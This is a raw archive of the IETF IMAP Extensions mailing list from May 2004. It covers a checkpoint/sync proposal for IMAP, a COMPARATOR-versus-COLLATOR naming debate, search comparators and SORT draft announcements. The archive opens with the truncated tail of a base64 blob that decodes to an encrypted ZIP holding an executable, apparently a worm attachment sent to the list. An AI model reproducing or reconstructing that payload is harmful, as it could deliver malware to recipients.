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 ----------spibhuwzrsuvwnbmmuzu-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4RFi4es087528; Thu, 27 May 2004 08:44:04 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4RFi443087527; Thu, 27 May 2004 08:44:04 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ems.noklab.com (mail.ems.noklab.com [66.207.128.99]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4RFi3CC087509 for ; Thu, 27 May 2004 08:44:03 -0700 (PDT) (envelope-from mike.wener@ems.noklab.com) Received: from [172.18.83.152] ([65.207.39.130]) (authenticated bits=0) by ems.noklab.com (8.12.10/8.12.9) with ESMTP id i4RFhoDY025490; Thu, 27 May 2004 11:43:50 -0400 Message-ID: <40B60CB6.60002@ems.noklab.com> Date: Thu, 27 May 2004 11:43:50 -0400 From: Michael Wener User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG , "Eric A. Hall" Subject: Re: checkpoint References: <40A9C52A.8070308@ehsco.com> In-Reply-To: <40A9C52A.8070308@ehsco.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm also concerned with this same problem. I believe a broader solution should include a clarification of what servers communicate via unsolicited untagged responses and a way for the client to communicate what information has been acknowledged. This implies two drafts. First the responses clarification ... Right now rfc3501 and the rfc2177 specify a mechanism for the server to send, and the client to receive, unsolicited responses, but it is unclear which responses the client can count on as going to be received given an event on the server. I was thinking along the lines that for certain "events" on the server the responses be clearly specified. For example ... 1) New message arrival. An unsolicited FETCH response that would provide envelope, uid, flags and maybe even some body structure. 2) Folder creation. An unsolicited LIST response. 3) Folder deletion. An unsolicited LIST response with a \Deleted flag that could only ever occur on an unsolicited LIST response. 4) Folder rename. An unsolicited LIST response with a \Renamed flag followed immediately with an unsolicited LIST response indicating creation of the new name. This would allow the client to implement an amortized sync algorithm. Second a checkpoint mechanism ... In order for the client to decrease the likelihood of having to perform a full sync I would suggest the following. 1) An IDLE extension that allows the client to communicate that it is desiring to reliably track unsolicited responses. 2) A new unsolicited response that communicates the checkpoint tag. 3) An addition to the CHECK command to communicate to the server that it can "forget" the last checkpoint. Here is an example ... C: 1 IDLE CHECKPOINT S: * CHECKPOINT M ... new message arrives S: * FETCH (UID N FLAGS (...) ENVELOPE (...)) ... New Folder S: * LIST (\Noinferiors) "/" NewFolder ... Folder rename S: * LIST (\Renamed) "/" OldName S: * LIST (\Noinferiors) "/" NewName ... Then same client issues check command S: * CHECKPOINT N ... More responses The check command would be something like C: 1 CHECK M S: 1 OK I realize this implies the server would have a larger queuing burden, but I think this could be mitigated by only invoking this behavior in response to the CHECKPOINT extension, and having aging mechanisms. Comments would be appreciated. Thanks Mike Eric A. Hall wrote: >We've talked before about the troubles with using IMAP to open very large >folders over long and/or thin pipes -- the synch time is death. I'm >running into this more often and am about to the point where I'm going to >write up a checkpoint mechanism of some kind that does basic "here's a >marker; only send me changes made afterwards". > >Any suggestions or thoughts would be good to have right about now. What's >a reasonable limit on journal depth, for example. Obviously the journal >changes shouldn't exceed the number of messsages, since that's counter >productive, but is there some other limit where it stops making sense. >What about extension handling, like if a server had negotiated a feature >with one client but not this one, but those attributes were recorded in >the journal and will be nonsensical if they are played back to the current >client. Any other thoughts would be appreciated. > >Thanks > > > Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PGDgrq041845; Tue, 25 May 2004 09:13:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PGDg5C041844; Tue, 25 May 2004 09:13:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PGDbgJ041792 for ; Tue, 25 May 2004 09:13:41 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Message-Id: From: Arnt Gulbrandsen To: Cyrus Daboo Subject: Re: the i18n draft Cc: Ned Freed , IMAP Extensions WG References: <2500EE9F0D61560477DACCF4@diogenes> In-Reply-To: <2500EE9F0D61560477DACCF4@diogenes> Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 18:15:26 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo writes: > Isn't there supposed to be a registry of comparators/collators which > SIEVE and IMAP should reference? That registry is created by draft-newman-i18n-comparator, which is where I saw the name change (it was comparator in 00, collator in 01). Ned Freed has that draft now. Ned? > If so, it would be best to use the same terminology in the registry as > is used in the specs. Agreed. > Perhaps the registry could be described as a 'comparator/collator' > registry so use of 'comparator' in SIEVE and 'collator' in IMAP would > be OK. Or perhaps the registry should use the term that Sieve already uses. Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PFBGRP024211; Tue, 25 May 2004 08:11:16 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PFBGfm024210; Tue, 25 May 2004 08:11:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PFBFII024202 for ; Tue, 25 May 2004 08:11:15 -0700 (PDT) (envelope-from mrc@CAC.Washington.EDU) Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PFBDJG018706; Tue, 25 May 2004 08:11:13 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PFBDwt001295; Tue, 25 May 2004 08:11:13 -0700 Date: Tue, 25 May 2004 08:11:13 -0700 (PDT) From: Mark Crispin To: Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: the i18n draft In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 25 May 2004, Arnt Gulbrandsen wrote: > has any of you implemented the COMPARATOR extension yet? If not, what do you > think about renaming it COLLATOR? COLLATOR implies that it isn't used in SEARCH. Thus, I think that COMPARATOR is better. If the name is changed then the reference in the SORT document needs changing as well. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PF3qQJ022314; Tue, 25 May 2004 08:03:52 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PF3qkq022313; Tue, 25 May 2004 08:03:52 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PF3pNk022299 for ; Tue, 25 May 2004 08:03:52 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17046; Tue, 25 May 2004 11:03:52 -0400 (EDT) Message-Id: <200405251503.LAA17046@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-17.txt Date: Tue, 25 May 2004 11:03:52 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-17.txt Pages : 0 Date : 2004-5-24 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-17.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-17.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-17.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-17.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-17.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEsiXo019744; Tue, 25 May 2004 07:54:44 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PEsikk019743; Tue, 25 May 2004 07:54:44 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEsdSa019714 for ; Tue, 25 May 2004 07:54:39 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4PEpa1F003161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 May 2004 10:51:36 -0400 Date: Tue, 25 May 2004 10:49:30 -0400 From: Cyrus Daboo To: Arnt Gulbrandsen , IMAP Extensions WG Subject: Re: the i18n draft Message-ID: <2500EE9F0D61560477DACCF4@diogenes> In-Reply-To: References: X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Arnt, --On Tuesday, May 25, 2004 02:31:05 PM +0200 Arnt Gulbrandsen wrote: > has any of you implemented the COMPARATOR extension yet? If not, what do > you think about renaming it COLLATOR? > > Chris Newman changed "comparator" to "collator" in > draft-newman-i18n-comparator-01.txt, which the imapext-i18n draft > references. The name collator seems better and more descriptive to me, so > if noone's fond of the old name, I think I'll follow his change. > Isn't there supposed to be a registry of comparators/collators which SIEVE and IMAP should reference? If so, it would be best to use the same terminology in the registry as is used in the specs. Perhaps the registry could be described as a 'comparator/collator' registry so use of 'comparator' in SIEVE and 'collator' in IMAP would be OK. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEjnP6017208; Tue, 25 May 2004 07:45:49 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PEjnvK017207; Tue, 25 May 2004 07:45:49 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEjmdP017191 for ; Tue, 25 May 2004 07:45:49 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4PEge1F003002 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 May 2004 10:42:40 -0400 Date: Tue, 25 May 2004 10:40:34 -0400 From: Cyrus Daboo To: Arnt Gulbrandsen cc: Mark Crispin , IMAP Extensions WG Subject: Re: draft-i18n and search/sort Message-ID: <7418E244DDE77F3B9B94EE0F@diogenes> In-Reply-To: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> References: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Arnt, --On Tuesday, May 25, 2004 02:30:58 PM +0200 Arnt Gulbrandsen wrote: >> Sometimes it is handy to choose between case-sensitive and >> case-insensitive searching on a case-by-case basis, so having a >> single comparator parameter to search to override the default for >> that search only would be useful. > > Would it be convenient enough that you'd implement that _only_ if the > comparator extension provided such an argument? Well the fall back would be to use the comparator command prior the the search to change the default, then switch it back. Obviously that adds round trips. To be honest with you I've not had much demand for a case-sensitive search option, and I'm not really sure what other on-the-fly comparator changes users would want. All I know is that in our case (and some other clients too) searching is a key part of the client-side filtering and as such there can be a lot of searches in a session as filter rules get triggered. If its likely that different comparators would get used then using the search argument would be better in terms of keeping round trips down. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTICs077578; Tue, 25 May 2004 05:29:18 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PCTIbr077576; Tue, 25 May 2004 05:29:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kalyani.oryx.com (kalyani.oryx.com [212.125.101.207]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTHs0077542 for ; Tue, 25 May 2004 05:29:17 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Received: by kalyani.oryx.com (Postfix, from userid 1005) id DBE891BDE8A; Tue, 25 May 2004 14:29:15 +0200 (CEST) Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kalyani.oryx.com (Postfix) with ESMTP id 2C6081BDE81 for ; Tue, 25 May 2004 14:29:14 +0200 (CEST) Message-Id: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> From: Arnt Gulbrandsen To: Cyrus Daboo Subject: Re: draft-i18n and search/sort Cc: Mark Crispin , IMAP Extensions WG References: In-Reply-To: Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 14:30:58 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo writes: > Sometimes it is handy to choose between case-sensitive and > case-insensitive searching on a case-by-case basis, so having a > single comparator parameter to search to override the default for > that search only would be useful. Would it be convenient enough that you'd implement that _only_ if the comparator extension provided such an argument? Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTIcb077577; Tue, 25 May 2004 05:29:18 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PCTIhW077573; Tue, 25 May 2004 05:29:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kalyani.oryx.com (kalyani.oryx.com [212.125.101.207]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTHaf077543 for ; Tue, 25 May 2004 05:29:17 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Received: by kalyani.oryx.com (Postfix, from userid 1005) id EA7101BDE8D; Tue, 25 May 2004 14:29:15 +0200 (CEST) Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kalyani.oryx.com (Postfix) with ESMTP id 59BAA1BDE83 for ; Tue, 25 May 2004 14:29:14 +0200 (CEST) Message-Id: From: Arnt Gulbrandsen To: IMAP Extensions WG Subject: the i18n draft Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 14:31:05 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi, has any of you implemented the COMPARATOR extension yet? If not, what do you think about renaming it COLLATOR? Chris Newman changed "comparator" to "collator" in draft-newman-i18n-comparator-01.txt, which the imapext-i18n draft references. The name collator seems better and more descriptive to me, so if noone's fond of the old name, I think I'll follow his change. Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OJhN3g037769; Mon, 24 May 2004 12:43:23 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OJhNne037768; Mon, 24 May 2004 12:43:23 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OJhMeT037760 for ; Mon, 24 May 2004 12:43:23 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25257; Mon, 24 May 2004 15:43:24 -0400 (EDT) Message-Id: <200405241943.PAA25257@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-17.txt Date: Mon, 24 May 2004 15:43:24 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-17.txt Pages : 0 Date : 2004-5-24 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions 